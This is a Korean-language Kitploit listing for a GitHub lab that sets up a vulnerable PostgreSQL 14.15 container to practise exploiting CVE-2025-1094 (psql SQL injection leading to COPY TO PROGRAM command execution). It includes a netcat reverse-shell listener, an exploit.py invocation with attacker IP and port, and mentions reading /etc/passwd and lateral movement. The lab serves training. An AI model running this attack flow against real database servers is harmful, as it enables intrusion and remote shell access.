Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-1094-Lab-Setup — # CVE-2025-1094 악용 실습 랩 PostgreSQL psql SQL 인젝션을 악용하여 COPY TO PROGRAM을 통해 RCE(원격 코드 실행)로 이어지는 실습 랩으로, Docker 설정 및 리버스 셸 페이로드를 포함합니다. | Kitploit
도구/GitHubGitHub/pinkarmor/cve-2025-1094-lab-setup
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubpinkarmor/cve-2025-1094-lab-setup

CVE-2025-1094-Lab-Setup

# CVE-2025-1094 악용 실습 랩 PostgreSQL psql SQL 인젝션을 악용하여 COPY TO PROGRAM을 통해 RCE(원격 코드 실행)로 이어지는 실습 랩으로, Docker 설정 및 리버스 셸 페이로드를 포함합니다.

저장소 보기
311개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🛠️ CVE-2025-1094 실습 환경 구축

⚠️ 면책 조항
이 실습은 교육 및 연구 목적으로만 제공됩니다.
본인이 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 여기에 소개된 정보나 기술을 사용하지 마십시오. 이러한 방법을 무단으로 사용하는 것은 법률 위반에 해당할 수 있으며 심각한 처벌을 초래할 수 있습니다.


📌 개요

CVE-2025-1094는 PostgreSQL의 대화형 도구인 psql 에 영향을 미치는 치명적인 취약점으로, 14.15 이하 버전에서 발견되었습니다.
이 취약점으로 인해 공격자는 SQL 인젝션을 수행할 수 있으며, 특정 조건에서는 원격 코드 실행(RCE) 까지 이어질 수 있습니다.


🧨 근본 원인

이 취약점은 psql에서 잘못된 UTF-8 입력을 부적절하게 처리하는 데서 발생합니다.
검증이 충분하지 않기 때문에 공격자는 임의의 SQL 또는 !(셸 이스케이프)와 같은 메타 명령을 주입할 수 있으며, 심지어 COPY ... TO PROGRAM을 악용하여 시스템 명령을 실행할 수도 있습니다.


🔥 영향 및 공격 시나리오

  • SQL 인젝션 → RCE: 잘못된 UTF-8 문자열이 검증을 우회하여 임의 쿼리 실행으로 이어집니다.
  • COPY TO PROGRAM 악용: 공격자는 다음과 같은 임의 셸 명령을 실행할 수 있습니다:
    • 리버스 셸
    • 민감한 파일 읽기(/etc/passwd)
    • 다른 CVE와 결합하여 완전한 인증 없는 RCE 수행
  • 통합 위험: 신뢰할 수 없는 입력과 함께 psql을 사용하는 소프트웨어(예: BeyondTrust PRA, Remote Support)는 특히 취약합니다.

🧪 실습 요구 사항

🐳 피해자 (Ubuntu)

Docker 설치:

root@kitploit:~
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER

👉 Docker 그룹 권한을 적용하려면 재부팅 또는 로그아웃 후 다시 로그인하세요.


🐍 공격자 (Kali)

Python 및 종속성 설치:

root@kitploit:~
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional

✅ 공격자와 피해자 머신 간 네트워크 연결을 확인하세요.


⚙️ 1단계 – 취약한 PostgreSQL 컨테이너 배포 (피해자)

  1. PostgreSQL 14.15 이미지 가져오기:
root@kitploit:~
docker pull postgres:14.15
  1. 컨테이너 실행:
root@kitploit:~
docker run --name vulnerable_postgres   -e POSTGRES_USER=postgres123   -e POSTGRES_PASSWORD=StrongP@ssWord   -e POSTGRES_DB=labdb   -p 5432:5432   -d postgres:14.15
  1. 초기화를 위해 약 5초 대기 후 데모 테이블 생성:
root@kitploit:~
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
  id SERIAL PRIMARY KEY,
  username TEXT,
  password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF

✅ 1.5단계 – 컨테이너 및 데이터베이스 설정 확인

컨테이너를 시작한 후 다음 명령으로 모든 것이 정상 작동하는지 확인하세요:

1. PostgreSQL 컨테이너가 실행 중인지 확인:

root@kitploit:~
sudo docker ps

📌 포트 5432에서 수신 대기 중인 vulnerable_postgres라는 이름의 컨테이너가 보여야 합니다.


2. 컨테이너에 접속하여 데이터베이스 확인:

root@kitploit:~
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb

psql 셸 내부에서 다음을 실행:

root@kitploit:~
SELECT * FROM users;

예상 출력:

root@kitploit:~
 id | username |  password
----+----------+-------------
  1 | admin    | password123
(1 row)

psql 종료:

root@kitploit:~
\q

✅ 이제 취약한 PostgreSQL 인스턴스가 실행 중이며 공격 준비가 완료되었습니다.


3. 컨테이너 다시 시작

root@kitploit:~
sudo docker start vulnerable_postgres

📡 2단계 – 공격자 머신에서 공격

  1. 공격자 머신에서 리버스 셸을 받을 리스너 시작:
root@kitploit:~
nc -lvnp 4444
  1. 익스플로잇 스크립트 실행 (필요 시 IP 및 포트 조정):
root@kitploit:~
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
  1. 성공하면 취약한 PostgreSQL 컨테이너에서 리버스 셸을 받게 됩니다 🎉
root@kitploit:~
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.

🧰 예시 공격 흐름

  1. 잘못된 UTF-8을 주입하여 입력 검증 우회
  2. COPY ... TO PROGRAM을 악용하여 임의 셸 명령 실행
  3. 리버스 셸이 공격자 머신으로 연결
  4. 환경 내에서 권한 상승 또는 수평 이동

💡 팁: 이 취약한 컨테이너를 스냅샷으로 저장해 두면 환경을 다시 구축하지 않고 나중에 재사용할 수 있습니다.

도구 다운로드